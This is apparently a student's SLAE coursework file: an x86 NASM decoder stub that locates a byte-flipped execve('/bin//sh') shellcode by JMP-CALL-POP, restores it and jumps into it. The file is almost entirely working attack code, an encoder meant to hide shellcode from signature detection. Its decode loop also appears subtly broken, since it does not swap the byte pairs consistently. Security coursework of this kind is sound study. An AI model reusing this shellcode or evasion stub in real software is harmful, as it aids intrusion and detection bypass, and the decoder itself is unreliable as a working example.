SLAE Assignment #4 - Custom Byte Flip Decoder

assignment4-decoder.nasm

; Filename: assignment4-decoder.nasm
; Student ID: SLAE - 895
;
; Purpose: Assignment #4 Custom Byte Flip Decoder

global _start

section .text
_start:
        jmp short call_shellcode        ;Begins JMP-CALL-POP to get address of EncodedShellcode

decoder:
        pop esi                         ; Puts the address of EncodedShellcode into esi
        lea edi, [esi]                  ; Loads the address into edi
        xor eax, eax                    ; Zero out eax
        mov al, 2                       ; Set 0x2 in al
        xor ebx, ebx                    ; Zero out ebx

decode:
        mov bl, byte [esi + eax]        ; move the byte located at edi+eax into bl
        xor bl, 0x99                    ; Check for the end of the shellcode
        jz short EncodedShellcode       ; If XOR=zero jump to decoded shellcode and execute
        mov bl, byte [esi + eax]        ; Move the byte located at edi+eax into bl
        mov byte [edi], bl              ; Move the byte into position
        add al, 2                       ; Increment eax by 2
        lea edi, [edi + 2]              ; Load address of new tmp stack pointer to edi
        jmp short decode                ; repeat

call_shellcode:                         ; Shellcode starts with 0x99 and ends with 0x99, 0x99

        call decoder                    
        EncodedShellcode: db 0x99,     0xc0,0x31,0x68,0x50,0x2f,0x2f,0x68,0x73,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0x89,0x53,0xb0,0xe1,0xcd,0xb,0xcd,0x80,         0x99,0x99